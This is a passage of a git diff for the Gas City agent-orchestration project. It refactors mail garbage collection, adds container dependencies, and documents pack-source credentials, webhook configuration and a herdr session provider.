 git-binary
 jq-binary
diff --git a/cmd/gc/testdata/pack-commands-doctor.txtar b/cmd/gc/testdata/pack-commands-doctor.txtar
index 87fe919a0a..e9921b999d 100644
--- a/cmd/gc/testdata/pack-commands-doctor.txtar
+++ b/cmd/gc/testdata/pack-commands-doctor.txtar
@@ -13,7 +13,12 @@ env GC_DOLT=skip
 env GC_SESSION=fake
 
 # Initialize a real city scaffold, then swap in the pack-import config.
-exec gc init $WORK/city
+# Use the minimal template: the default gascity template seeds the gc-roles
+# pack as a default-rig import (gascity#3832), and swapping in the ops-only
+# city.toml below would orphan that pack's packs.lock entry, tripping the
+# packv2-import-state doctor check. The minimal scaffold imports only the
+# bundled core pack, which the swap leaves declared and reachable.
+exec gc init --template minimal --default-provider claude $WORK/city
 cp $WORK/city.toml.custom $WORK/city/city.toml
 cp $WORK/site.toml.custom $WORK/city/.gc/site.toml
 
diff --git a/cmd/gc/wisp_gc.go b/cmd/gc/wisp_gc.go
index 833149b868..5c56fe7fae 100644
--- a/cmd/gc/wisp_gc.go
+++ b/cmd/gc/wisp_gc.go
@@ -13,11 +13,10 @@ import (
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
 	convoycore "github.com/gastownhall/gascity/internal/convoy"
+	"github.com/gastownhall/gascity/internal/mail/beadmail"
 	"github.com/gastownhall/gascity/internal/sourceworkflow"
 )
 
-const mailReadMetadataKey = "mail.read"
-
 // closeAbandonedEnv is the opt-in environment variable that enables the
 // abandoned-root closer. It DEFAULTS TO DRY-RUN: with the variable unset (or
 // not truthy) closeAbandonedRoots only logs/counts the roots it WOULD close
@@ -197,7 +196,7 @@ func (m *memoryWispGC) runGC(graphStore beads.GraphStore, mailStore beads.MailSt
 	}
 
 	if m.mailRetentionTTL > 0 && mailStore.Store != nil {
-		mailEntries, mailErr := readMessageWispGCEntries(mailStore.Store)
+		mailEntries, mailErr := beadmail.ReadMessageWispEntries(mailStore.Store)
 		if mailErr == nil {
 			mailPurged, mailDeleteErr := purgeExpiredBeadRoots(mailStore.Store, mailEntries, now.Add(-m.mailRetentionTTL))
 			purged += mailPurged
@@ -543,19 +542,6 @@ func openWispGCRootCandidates(store beads.Store) ([]beads.Bead, error) {
 	return enumerateWispGCRoots(store, "open", "in_progress")
 }
 
-func readMessageWispGCEntries(store beads.Store) ([]beads.Bead, error) {
-	entries, err := store.List(beads.ListQuery{
-		Type:          "message",
-		Metadata:      map[string]string{mailReadMetadataKey: "true"},
-		IncludeClosed: true,
-		TierMode:      beads.TierWisps,
-	})
-	if err != nil {
-		return nil, err
-	}
-	return entries, nil
-}
-
 // purgeExpiredBeadClosures purges aged closed roots, deleting each root's full
 // ownership closure. batchCap bounds how many root closures one sweep attempts
 // (see wispGCClosurePurgeBatchCap) so a first-deploy backlog of newly-collectible
diff --git a/cmd/gc/wisp_gc_test.go b/cmd/gc/wisp_gc_test.go
index 6b02a3a029..d23ccda2f5 100644
--- a/cmd/gc/wisp_gc_test.go
+++ b/cmd/gc/wisp_gc_test.go
@@ -12,6 +12,7 @@ import (
 	"github.com/gastownhall/gascity/internal/beadmeta"
 	"github.com/gastownhall/gascity/internal/beads"
 	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/mail"
 	"github.com/gastownhall/gascity/internal/sourceworkflow"
 )
 
@@ -174,23 +175,23 @@ func TestWispGC_ClosesOpenSpecSidecarsForClosedWorkflowRoots(t *testing.T) {
 func TestWispGC_PurgesExpiredReadMessageRetention(t *testing.T) {
 	now := time.Now()
 	store := newGCStore([]beads.Bead{
-		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mailReadMetadataKey: "true"}),
-		makeGCMessageWisp("unread-old", now.Add(-2*time.Hour), map[string]string{mailReadMetadataKey: "false"}),
+		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mail.ReadMetadataKey: "true"}),
+		makeGCMessageWisp("unread-old", now.Add(-2*time.Hour), map[string]string{mail.ReadMetadataKey: "false"}),
 		makeGCMessageWisp("unset-old", now.Add(-2*time.Hour), nil),
-		makeGCMessageWisp("read-recent", now.Add(-30*time.Minute), map[string]string{mailReadMetadataKey: "true"}),
+		makeGCMessageWisp("read-recent", now.Add(-30*time.Minute), map[string]string{mail.ReadMetadataKey: "true"}),
 		{
 			ID:        "read-main-tier",
 			Status:    "open",
 			Type:      "message",
 			CreatedAt: now.Add(-2 * time.Hour),
-			Metadata:  map[string]string{mailReadMetadataKey: "true"},
+			Metadata:  map[string]string{mail.ReadMetadataKey: "true"},
 		},
 		{
 			ID:        "read-task-wisp",
 			Status:    "open",
 			Type:      "task",
 			CreatedAt: now.Add(-2 * time.Hour),
-			Metadata:  map[string]string{mailReadMetadataKey: "true"},
+			Metadata:  map[string]string{mail.ReadMetadataKey: "true"},
 			Ephemeral: true,
 		},
 	})
@@ -217,7 +218,7 @@ func TestWispGC_PurgesExpiredReadMessageRetention(t *testing.T) {
 func TestWispGC_ReadMessageRetentionZeroDisablesAndSuppressesLog(t *testing.T) {
 	now := time.Now()
 	store := newGCStore([]beads.Bead{
-		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mailReadMetadataKey: "true"}),
+		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mail.ReadMetadataKey: "true"}),
 	})
 
 	logOutput := captureWispGCLog(t, func() {
@@ -241,7 +242,7 @@ func TestWispGC_ReadMessageRetentionZeroDisablesAndSuppressesLog(t *testing.T) {
 func TestWispGC_ReadMessageRetentionLogsCountAndTTL(t *testing.T) {
 	now := time.Now()
 	store := newGCStore([]beads.Bead{
-		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mailReadMetadataKey: "true"}),
+		makeGCMessageWisp("read-old", now.Add(-2*time.Hour), map[string]string{mail.ReadMetadataKey: "true"}),
 	})
 
 	logOutput := captureWispGCLog(t, func() {
diff --git a/cmd/gc/work_query_probe.go b/cmd/gc/work_query_probe.go
index 23457e881c..ea3b12e2ee 100644
--- a/cmd/gc/work_query_probe.go
+++ b/cmd/gc/work_query_probe.go
@@ -186,8 +186,8 @@ func probeSessionNameForTemplate(
 	if cfg != nil {
 		if spec, ok := findNamedSessionSpec(cfg, cityName, identity); ok {
 			if sessionBeads != nil {
-				if bead, ok := findCanonicalNamedSessionBead(sessionBeads, spec); ok {
-					if sn := strings.TrimSpace(bead.Metadata["session_name"]); sn != "" {
+				if info, ok := findCanonicalNamedSessionInfo(sessionBeads, spec); ok {
+					if sn := strings.TrimSpace(info.SessionNameMetadata); sn != "" {
 						return sn
 					}
 				}
diff --git a/contrib/beads-scripts/gc-beads-br b/contrib/beads-scripts/gc-beads-br
index 9ce2bc8149..0a3cf20286 100755
--- a/contrib/beads-scripts/gc-beads-br
+++ b/contrib/beads-scripts/gc-beads-br
@@ -279,7 +279,10 @@ case "$op" in
     if [ "$status" = "closed" ]; then
       exit 0
     fi
-    br close --json "$id" > /dev/null
+    # --force: same generic exec Store.Close delegate as gc-beads-k8s (br backend).
+    # Closes agent-owned beads under the controller/reaper actor, so it must bypass
+    # the cross-actor close guard, mirroring the SDK BdStore's always-force close.
+    br close --force --json "$id" > /dev/null
     ;;
 
   list)
diff --git a/contrib/beads-scripts/gc-beads-k8s b/contrib/beads-scripts/gc-beads-k8s
index 881f26784b..3a11622142 100755
--- a/contrib/beads-scripts/gc-beads-k8s
+++ b/contrib/beads-scripts/gc-beads-k8s
@@ -383,7 +383,11 @@ case "$op" in
 
   close)
     id="${1:?close: missing id}"
-    run_bd close --json "$id" > /dev/null
+    # --force: this generic exec Store.Close delegate runs under the pod/controller
+    # actor (BEADS_ACTOR is stripped from the child) while closing agent-owned
+    # beads, so it must bypass bd's cross-actor close guard (gastownhall/beads#3734),
+    # matching the SDK BdStore which always force-closes.
+    run_bd close --force --json "$id" > /dev/null
     ;;
 
   list)
diff --git a/contrib/k8s/Dockerfile.base b/contrib/k8s/Dockerfile.base
index a5ae49fea9..1041db8c68 100644
--- a/contrib/k8s/Dockerfile.base
+++ b/contrib/k8s/Dockerfile.base
@@ -21,10 +21,15 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
     curl \
     git \
     jq \
+    # lsof: TCP-LISTEN / port discovery for Dolt — runtime hard dep (gc doctor), not optional diagnostics.
+    lsof \
     procps \
     python3 \
     sudo \
+    tini \
     tmux \
+    # util-linux: provides flock(1) for the bd/Dolt beads lock — runtime hard dep, not optional diagnostics.
+    util-linux \
     && rm -rf /var/lib/apt/lists/*
 
 COPY .github/scripts/install-claude-native.sh /tmp/install-claude-native.sh
diff --git a/contrib/k8s/Dockerfile.controller b/contrib/k8s/Dockerfile.controller
index 24f4b02da1..10623115ff 100644
--- a/contrib/k8s/Dockerfile.controller
+++ b/contrib/k8s/Dockerfile.controller
@@ -42,6 +42,18 @@ COPY contrib/events-scripts/gc-events-k8s /usr/local/bin/gc-events-k8s
 WORKDIR /city
 USER gcagent
 
+# gc does not harvest SIGCHLD, so bd/dolt/git processes that reparent to it
+# would pile up as <defunct> zombies. Run tini as PID 1 to reap those orphans
+# and forward signals to gc, which becomes tini's direct child via `exec gc` in
+# CMD below.
+#
+# tini ships in the base image (Dockerfile.base). Fail the build if the inherited
+# gc-agent layer predates that install, rather than shipping a controller image
+# that only crashes at startup when this ENTRYPOINT execs a missing /usr/bin/tini
+# (rebuild the chain with `make docker-base docker-agent`).
+RUN test -x /usr/bin/tini
+ENTRYPOINT ["/usr/bin/tini", "--"]
+
 # Wait for city directory to be copied in (via gc-controller-k8s deploy),
 # then init from it and wait for the deploy script to finish setup (bd init
 # for scale_check) before starting the controller.  Skip init if already
diff --git a/deps.env b/deps.env
index 5cca848ece..776f6c40fe 100644
--- a/deps.env
+++ b/deps.env
@@ -6,7 +6,7 @@
 
 DOLT_VERSION=2.1.7
 BD_REPO=gastownhall/beads
-BD_VERSION=v1.0.4
+BD_VERSION=v1.1.0
 BR_VERSION=0.1.20
 
 # Cross-version contract-test matrix pins.
diff --git a/docs/docs.json b/docs/docs.json
index ad4b851323..a609887348 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -233,7 +233,8 @@
               "reference/system-packs",
               "reference/exec-session-provider",
               "reference/exec-beads-provider",
-              "reference/tmux-agent-slice"
+              "reference/tmux-agent-slice",
+              "reference/herdr-provider"
             ]
           },
           {
diff --git a/docs/guides/understanding-packs.md b/docs/guides/understanding-packs.md
index b233f316ee..4d3e5ab95f 100644
--- a/docs/guides/understanding-packs.md
+++ b/docs/guides/understanding-packs.md
@@ -314,6 +314,56 @@ $ gc config show --validate
 $ gc config show | rg 'planner'
 ```
 
+### Private Packs And Credentials
+
+A pack whose source (or a transitive import) is a **private** repository needs a
+git credential. Credentials are never written into `pack.toml`, `packs.lock`, or
+`city.toml`; they live in a separate, never-committed `credentials.toml`,
+**secret-by-pointer** — the file records where to find the token, never the
+token itself. Register one with `gc import credential`:
+
+```text
+$ gc import credential add github.com/gascity --helper 'gh auth token'
+$ gc import credential add github.com/gascity --token-file /var/run/secrets/git/token
+$ gc import credential add github.com/gascity --token-env GC_GIT_TOKEN
+$ gc import credential add github.com/gascity --ssh-key-file ~/.ssh/packbot_ed25519
+```
+
+The `match` argument is a bare host or `host/path-prefix` (longest-prefix wins,
+so same-host different-org credentials coexist). Exactly one pointer flag is
+required. By default the rule is written to `<city>/.gc/credentials.toml`
+(0600); `--global` writes `$GC_HOME/credentials.toml` instead. List and remove
+registered rules with:
+
+```text
+$ gc import credential list
+$ gc import credential remove github.com/gascity
+```
+
+Credential resolution layers, highest precedence first:
+`$GC_GIT_CREDENTIALS_FILE` (replaces the file layers when set) →
+`<city>/.gc/credentials.toml` → `$GC_HOME/credentials.toml` →
+`$GC_GIT_CREDENTIAL_COMMAND`. A `credentials.toml` looks like:
+
+```toml
+[[credential]]
+match    = "github.com/gascity"       # host or host/path-prefix
+username = "x-access-token"           # optional; this is the default
+# exactly one pointer — never a literal token:
+helper       = "gh auth token"        # command whose stdout is the token
+# token_file = "/var/run/secrets/git/token"
+# token_env  = "GC_GIT_TOKEN"         # env var NAME, never a value
+# ssh_key_file = "~/.ssh/packbot_ed25519"
+```
+
+When a rule matches an import's host, `gc import add/install/upgrade` (and
+`gc rig add`, `gc doctor --fix`) authenticate the clone automatically; when no
+rule matches, public imports behave exactly as before. If a private import
+fails to authenticate, gc prints a `hint:` line pointing at
+`gc import credential add`. Never embed `user:token@` in a source URL — gc
+rejects it because the credential would leak into `city.toml`, `packs.lock`, the
+shared cache's `.git/config`, and error output.
+
 <Accordion title="Version constraints and the lockfile">
 
 The `[pack].version` field is pack metadata. Import version selection comes
diff --git a/docs/reference/cli.md b/docs/reference/cli.md
index c4fcf6286d..703181a996 100644
--- a/docs/reference/cli.md
+++ b/docs/reference/cli.md
@@ -1785,6 +1785,7 @@ gc import
 |------------|-------------|
 | [gc import add](#gc-import-add) | Add a pack import |
 | [gc import check](#gc-import-check) | Validate installed pack import state |
+| [gc import credential](#gc-import-credential) | Manage pack-source git credentials |
 | [gc import install](#gc-import-install) | Install imports from pack.toml and packs.lock |
 | [gc import list](#gc-import-list) | List imported packs |
 | [gc import prune](#gc-import-prune) | Remove unreferenced clones from the global pack cache |
@@ -1843,6 +1844,57 @@ Validate installed pack import state
 gc import check
 ```
 
+## gc import credential
+
+Manage pack-source git credentials
+
+```
+gc import credential
+```
+
+| Subcommand | Description |
+|------------|-------------|
+| [gc import credential add](#gc-import-credential-add) | Register a pack-source credential |
+| [gc import credential list](#gc-import-credential-list) | List registered pack-source credentials |
+| [gc import credential remove](#gc-import-credential-remove) | Remove a registered pack-source credential |
+
+## gc import credential add
+
+Register a pack-source credential
+
+```
+gc import credential add <match> (--helper CMD | --token-file PATH | --token-env NAME | --ssh-key-file PATH) [--username NAME] [--global] [flags]
+```
+
+| Flag | Type | Default | Description |
+|------|------|---------|-------------|
+| `--global` | bool |  | Write $GC_HOME/credentials.toml instead of the city file |
+| `--helper` | string |  | Command whose stdout is the token (executed per fetch) |
+| `--ssh-key-file` | string |  | Path to an SSH private key for git@/ssh:// sources |
+| `--token-env` | string |  | Name of an environment variable holding the token |
+| `--token-file` | string |  | Path to a file containing the token |
+| `--username` | string |  | Username sent to the remote (default x-access-token) |
+
+## gc import credential list
+
+List registered pack-source credentials
+
+```
+gc import credential list
+```
+
+## gc import credential remove
+
+Remove a registered pack-source credential
+
+```
+gc import credential remove <match> [flags]
+```
+
+| Flag | Type | Default | Description |
+|------|------|---------|-------------|
+| `--global` | bool |  | Remove from $GC_HOME/credentials.toml instead of the city file |
+
 ## gc import install
 
 Install imports from pack.toml and packs.lock
@@ -2429,6 +2481,9 @@ to the configured target (if any). Exec orders run their script directly
 write arbitrary stdout. Useful for testing orders or triggering them
 outside their normal schedule.
 Use --rig to disambiguate same-name orders in different rigs.
+Use --var key=value (repeatable) to pass args to the order: formula orders
+receive them as formula vars, exec orders as environment variables. A param
+declared required in [order.params] must be supplied or the run fails.
 
 ```
 gc order run <name> [flags]
@@ -2438,6 +2493,7 @@ gc order run <name> [flags]
 |------|------|---------|-------------|
 | `--json` | bool |  | JSON output (formula orders only; rejected for exec orders) |
 | `--rig` | string |  | rig name to disambiguate same-name orders |
+| `--var` | stringArray |  | order arg as key=value (repeatable): formula var / exec env |
 
 ## gc order show
 
@@ -3960,7 +4016,8 @@ The second argument is a bead ID, a formula name when --formula is set, or
 arbitrary text (which auto-creates a task bead).
 
 When target is omitted, the bead's rig prefix is used to look up the rig's
-default_sling_target from config. Requires --formula to have an explicit target.
+default_sling_targets (or default_sling_target) from config and one is chosen
+at random. Requires --formula to have an explicit target.
 Inline text also requires an explicit target.
 
 With --formula, the formula is instantiated and its root bead is routed to
diff --git a/docs/reference/config.md b/docs/reference/config.md
index 62c367f051..33cc61fc02 100644
--- a/docs/reference/config.md
+++ b/docs/reference/config.md
@@ -42,6 +42,8 @@ City is the top-level configuration for a Gas City instance.
 | `storehealth` | StoreHealthConfig |  |  | StoreHealth configures the controller-internal store health patrol (probe matrix, reap rate-limit, write-path conformance probe). |
 | `maintenance` | MaintenanceConfig |  |  | Maintenance configures periodic store-maintenance loops. |
 | `service` | []Service |  |  | Services declares workspace-owned HTTP services mounted on the controller edge under /svc/&#123;name&#125;. |
+| `webhook` | []Webhook |  |  | Webhooks declares inbound HTTP receivers mounted on the supervisor edge under /hook/&#123;name&#125;. Composed like Services (pack concatenation + SourceDir provenance + the default-closed public pack-guard). |
+| `webhooks` | WebhookPolicyConfig |  |  | WebhookPolicy holds city-level webhook governance (the [webhooks] table, notably allow_public grants). Authored only in the root city.toml; never merged from packs or fragments so a pack cannot grant itself exposure. |
 | `github` | GitHubConfig |  |  | GitHub configures GitHub-facing repository monitors. |
 | `extmsg` | ExtMsgConfig |  |  | ExtMsg configures the external-messaging fabric (default routes for inbound conversations with no binding). |
 | `agent_defaults` | AgentDefaults |  |  | AgentDefaults provides root city defaults for agents that don't override them (canonical TOML key: agent_defaults). Pack-local defaults use the same table shape in pack.toml. The runtime currently applies provider, default_sling_formula, and append_fragments; the attachment-list fields remain tombstones, and the other fields are parsed/composed but not yet inherited automatically. |
@@ -748,6 +750,7 @@ Rig defines an external project registered in the city.
 | `overrides` | []AgentOverride |  |  | Overrides are per-agent patches applied after pack expansion. V2 renames this to "patches" for consistency with [[patches.agent]]. Both TOML keys are accepted during migration. |
 | `patches` | []AgentOverride |  |  | Patches is the V2 name for rig-level agent overrides. Takes precedence over Overrides if both are set. |
 | `default_sling_target` | string |  |  | DefaultSlingTarget is the agent qualified name used when gc sling is invoked with only a bead ID (no explicit target). Resolved via resolveAgentIdentity. Example: "rig/polecat" |
+| `default_sling_targets` | []string |  |  | DefaultSlingTargets is the plural form of DefaultSlingTarget. When set, targetless gc sling picks one entry at random each dispatch. Takes precedence over DefaultSlingTarget when non-empty. Each entry is resolved the same way as DefaultSlingTarget. Example:   default_sling_targets = ["rig/polecat-a", "rig/polecat-b"] |
 | `session_sleep` | SessionSleepConfig |  |  | SessionSleep overrides workspace-level idle sleep defaults for agents in this rig. |
 | `dolt_host` | string |  |  | DoltHost overrides the city-level Dolt host for this rig's beads. Use when the rig's database lives on a different Dolt server (e.g., shared from another city). |
 | `dolt_port` | string |  |  | DoltPort overrides the city-level Dolt port for this rig's beads. When set, controller commands (scale_check, work_query) prefix their shell invocations with BEADS_DOLT_SERVER_PORT=&lt;port&gt; so bd connects to the correct server instead of the city-level default. |
@@ -895,6 +898,103 @@ UsageConfig holds usage-fact sink settings.
 |-------|------|----------|---------|-------------|
 | `provider` | string |  |  | Provider selects the usage sink backend:   - "discard" / "fake" → drop all facts   - "exec:&lt;script&gt;" → user-supplied script (JSON fact per line on stdin)   - "" / "local" → durable file-backed JSONL at .gc/usage.jsonl (default) |
 
+## Webhook
+
+Webhook declares a city- or rig-scoped inbound HTTP receiver mounted under /v0/city/{city}/hook/{name}.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `name` | string | **yes** |  | Name is the unique webhook identifier and mount segment. |
+| `scope` | string |  |  | Scope selects city- or rig-scoped dispatch semantics, mirroring Order.Scope. Empty defaults to city. Enum: `city`, `rig` |
+| `publication` | ServicePublicationConfig |  |  | Publication declares generic publication intent, reusing the service publication contract. Pack/fragment-contributed public webhooks are capped to tenant unless the city grants them via [webhooks].allow_public. |
+| `verify` | WebhookVerify |  |  | Verify declares the signature verification scheme and its inputs. |
+| `rule` | []WebhookRule |  |  | Rules maps verified provider events to dispatch targets. |
+| `max_per_minute` | integer |  |  | MaxPerMinute is an optional per-webhook self-imposed sustained request ceiling for the E8 rate limiter. SECURITY: a [[webhook]] block may be pack-contributed, and a pack must never be able to weaken the operator's flood defense, so this value may only LOWER a webhook's effective limit — it is min-clamped to the operator-owned ceiling and can never raise it (see WebhookPolicyConfig.EffectiveRateLimit). Leave unset to inherit the operator default/override. |
+
+## WebhookAllowPublic
+
+WebhookAllowPublic is one operator-authored public-exposure grant.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `name` | string | **yes** |  | Name is the webhook name being granted public exposure. |
+| `source` | string | **yes** |  | Source is the pack/fragment provenance the grant is scoped to. Matched against the webhook's stamped SourceDir. |
+| `digest` | string |  |  | Digest optionally pins the content digest of the granted webhook's security-relevant fields.  TODO(R3): compute and enforce this digest over &#123;visibility, verify scheme/secret_env/secret_key/trust-root, each rule's event/match/order/rig/target&#125; so a content-swap upgrade auto-downgrades to tenant until the operator re-consents. E2 matches on &#123;name, source&#125; only; the digest field is reserved for that follow-up. |
+
+## WebhookJWTPolicy
+
+WebhookJWTPolicy is one operator-owned jwt-jwks trust anchor.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `name` | string | **yes** |  | Name is the webhook this policy applies to (matched against Webhook.Name). |
+| `issuer` | string | **yes** |  | Issuer is the required "iss" claim, pinned exactly. |
+| `audience` | string | **yes** |  | Audience is the required "aud" claim. |
+| `jwks_url` | string | **yes** |  | JWKSURL is the https endpoint publishing the signing keys. |
+
+## WebhookPolicyConfig
+
+WebhookPolicyConfig holds city-level webhook governance authored in the root city.toml under [webhooks].
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `allow_public` | []WebhookAllowPublic |  |  | AllowPublic lists &#123;name, source&#125; grants that permit a pack/fragment webhook to keep publication.visibility="public". Default-closed: a pack/fragment public webhook with no matching grant is capped to tenant. |
+| `jwt_policy` | []WebhookJWTPolicy |  |  | JWTPolicies pins the operator-owned trust anchor for each jwt-jwks webhook, keyed by webhook name. Per security review R1, a jwt-jwks webhook's issuer, audience, and JWKS URL are operator-owned and must come from here (the root city.toml [webhooks] block), never from a pack-authored [webhook.verify] table — otherwise a pack could point the trust root at an attacker-controlled issuer/JWKS. The receiver (E3) reads this, not WebhookVerify.Issuer/etc., when constructing the jwt-jwks verifier. |
+| `rate_limit` | WebhookRateLimitConfig |  |  | RateLimit holds the operator-owned E8 per-webhook rate-limit governance: the fleet default plus optional per-webhook overrides. Because the whole [webhooks] table is never merged from packs or fragments, a pack cannot touch these values — it can only LOWER its own limit via Webhook.MaxPerMinute (clamped in EffectiveRateLimit). This is the trust boundary for the flood defense: the operator sets the ceiling; packs may only self-restrict below it.  A pointer so an absent [webhooks].rate_limit round-trips cleanly (a zero-value nested table is not suppressed by BurntSushi's omitempty); nil means "use the built-in defaults". |
+
+## WebhookRateLimitConfig
+
+WebhookRateLimitConfig is the operator-owned rate-limit policy authored under the root city.toml [webhooks].rate_limit table.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `per_minute` | integer |  |  | PerMinute is the default sustained request ceiling applied to every webhook that declares no lower self-limit. 0 uses defaultWebhookRateLimitPerMinute. |
+| `burst` | integer |  |  | Burst is the token-bucket burst allowance. 0 uses defaultWebhookRateLimitBurst. |
+| `override` | []WebhookRateLimitOverride |  |  | Overrides pins an operator-chosen limit for a specific webhook by name. Operator authority: an override may raise OR lower that webhook's limit — it is the operator, not a pack, declaring it. A pack's own MaxPerMinute can then only clamp further downward, never above the override. |
+
+## WebhookRateLimitOverride
+
+WebhookRateLimitOverride is one operator-authored per-webhook rate-limit pin.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `name` | string | **yes** |  |  |
+| `per_minute` | integer |  |  |  |
+| `burst` | integer |  |  |  |
+
+## WebhookRule
+
+WebhookRule maps one verified provider event to a dispatch target.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `event` | string | **yes** |  | Event is the provider event type this rule matches (e.g. pull_request). |
+| `match` | map[string]string |  |  | Match is an exact-equality dotted-path predicate over the payload. |
+| `order` | string |  |  | Order is the target order name for target="order" rules. |
+| `rig` | string |  |  | Rig optionally scopes the dispatched order to a rig. |
+| `target` | string |  |  | Target selects the dispatch sink: "order" (default) or "conversation". Enum: `order`, `conversation` |
+| `args` | map[string]string |  |  | Args maps declared order params to &#123;&#123;payload.path&#125;&#125; projections. |
+
+## WebhookVerify
+
+WebhookVerify declares how an inbound delivery is authenticated.
+
+| Field | Type | Required | Default | Description |
+|-------|------|----------|---------|-------------|
+| `scheme` | string |  |  | Scheme selects the built-in verifier (see knownWebhookSchemes). |
+| `secret_env` | string |  |  | SecretEnv names the environment variable holding the HMAC/shared secret. |
+| `secret_key` | string |  |  | SecretKey is an optional stable rotation-slot identifier. Empty defaults to SecretEnv. |
+| `signature_header` | string |  |  | SignatureHeader overrides the request header carrying the signature for generic HMAC schemes (e.g. X-Plane-Signature). |
+| `event_header` | string |  |  | EventHeader names the request header carrying the provider event type. |
+| `dedup_header` | string |  |  | DedupHeader names the request header carrying the delivery id used for at-least-once dedup. |
+| `timestamp_header` | string |  |  | TimestampHeader optionally names a request header carrying a signed timestamp for replay defense. |
+| `replay_window` | string |  |  | ReplayWindow bounds the accepted signed-timestamp skew (Go duration). |
+| `issuer` | string |  |  | Issuer, JWKSURL, and Audience pin the jwt-jwks trust anchor. Per the security review (R1) these are operator-owned and must be declared in city.toml, never in pack TOML. |
+| `jwks_url` | string |  |  |  |
+| `audience` | string |  |  |  |
+| `bearer_env` | string |  |  | BearerEnv optionally names an env var holding an additional per-source bearer token checked alongside the signature. |
+| `allowed_cidrs` | []string |  |  | AllowedCIDRs optionally restricts accepted source addresses (e.g. the GitHub webhook CIDR allowlist). |
+
 ## Workspace
 
 Workspace holds city-level metadata and optional defaults that apply to all agents unless overridden per-agent.
diff --git a/docs/reference/herdr-provider.md b/docs/reference/herdr-provider.md
new file mode 100644
index 0000000000..d86ad069d0
--- /dev/null
+++ b/docs/reference/herdr-provider.md
@@ -0,0 +1,120 @@
+---
+title: "herdr Session Provider"
+---
+
+[herdr](https://herdr.dev) is a terminal workspace manager built for AI coding
+agents. Gas City ships a native **herdr** session-provider backend as an
+**opt-in** alternative to tmux: one shared herdr session-server per city, one
+workspace per rig (and one for the town), and one tab per agent. tmux stays the
+default backend and the fallback — herdr is additive, selected through the same
+runtime-selection setting that picks tmux, k8s, ssh, or exec.
+
+## Prerequisites
+
+Install the `herdr` binary and make sure it is on `PATH`:
+
+```bash
+herdr --version   # the provider is verified against herdr 0.7.1+
+```
+
+The backend is registered as a builtin runtime name (`herdr`) — no pack or
+`[runtimes.*]` declaration is needed. If the binary is missing, sessions
+selected onto herdr fail to start; install it before flipping the selector.
+
+## Enabling herdr
+
+`herdr` is selected with the same runtime selector used for every other
+backend, at one of three scopes.
+
+### City default
+
+Set the session provider in `city.toml`:
+
+```toml
+[session]
+provider = "herdr"
+```
+
+Every agent the city starts then runs under herdr, except agents pinned to
+another backend by a patch (see below).
+
+### Per-agent / per-rig
+
+Override the backend for a single agent — or every agent in a rig — with an
+agent patch. The override field is `session`:
+
+```toml
+# one agent by name
+[[patches.agent]]
+name = "dog-1"
+session = "herdr"
+
+# every agent in a rig (match by the rig's working dir)
+[[patches.agent]]
+dir = "webapp"
+session = "herdr"
+```
+
+A per-agent `session` override wins over the `[session]` city default, so you
+can run the whole city on herdr while pinning specific agents to tmux (or the
+reverse — keep tmux as the default and pilot herdr on one agent).
+
+### Environment (one-off)
+
+For a quick local trial without editing config, export the selector:
+
+```bash
+export GC_SESSION=herdr
+gc start <city>
+```
+
+`GC_SESSION` overrides the effective provider name for that process, the same
+way it selects `exec:<script>` or any other backend.
+
+## Piloting safely
+
+herdr is opt-in precisely so you can roll it out gradually. Recommended path:
+
+1. **Keep the mayor on tmux first.** Don't run the orchestrator on an
+   experimental backend. If you flip the city default to herdr, pin the mayor
+   back to tmux with a patch:
+
+   ```toml
+   [session]
+   provider = "herdr"
+
+   [[patches.agent]]
+   name = "mayor"
+   session = "tmux"
+   ```
+
+2. **Start with one low-stakes agent** — a dog, or a single rig's witness —
+   by giving just that agent a `session = "herdr"` patch while the city default
+   stays tmux. Watch it through a normal work cycle before widening.
+
+3. **Widen** to a rig (`dir = "<rig>"`), then to the city default, once the
+   pilot agents are stable.
+
+## Applying and verifying
+
+- Reload or restart the city to apply a selector change (`gc reload`, or restart
+  the city). Agents launched after the switch run under herdr; already-running
+  sessions keep their current backend until they next restart.
+- Confirm the effective selector with `gc config show` (the `[session]`
+  `provider` value, plus any agent `session` overrides).
+- Once agents are on herdr, their workspaces and tabs are visible through
+  herdr's own UI (`herdr` lists the per-rig/town workspaces and per-agent tabs).
+
+## Layout
+
+Within the single per-city herdr session-server, gc places agents so the
+workspace/tab structure mirrors the town:
+
+- **One workspace per rig**, plus one for the town (mayor and town-level
+  agents).
+- **One tab per agent.** Rig polecats land in their rig's workspace as
+  `polecat-<themed-name>` tabs; the placement is display-only and does not
+  change agent identity.
+
+See `internal/runtime/herdr-provider-design.md` in the source tree for the
+provider's design notes, capabilities, and pilot rationale.
diff --git a/docs/reference/schema/city-schema.json b/docs/reference/schema/city-schema.json
index 4425a8a6c4..6a60589e70 100644
--- a/docs/reference/schema/city-schema.json
+++ b/docs/reference/schema/city-schema.json
@@ -1278,6 +1278,17 @@
           "type": "array",
           "description": "Services declares workspace-owned HTTP services mounted on the\ncontroller edge under /svc/{name}."
         },
+        "webhook": {
+          "items": {
+            "$ref": "#/$defs/Webhook"
+          },
+          "type": "array",
+          "description": "Webhooks declares inbound HTTP receivers mounted on the supervisor edge\nunder /hook/{name}. Composed like Services (pack concatenation + SourceDir\nprovenance + the default-closed public pack-guard)."
+        },
+        "webhooks": {
+          "$ref": "#/$defs/WebhookPolicyConfig",
+          "description": "WebhookPolicy holds city-level webhook governance (the [webhooks] table,\nnotably allow_public grants). Authored only in the root city.toml; never\nmerged from packs or fragments so a pack cannot grant itself exposure."
+        },
         "github": {
           "$ref": "#/$defs/GitHubConfig",
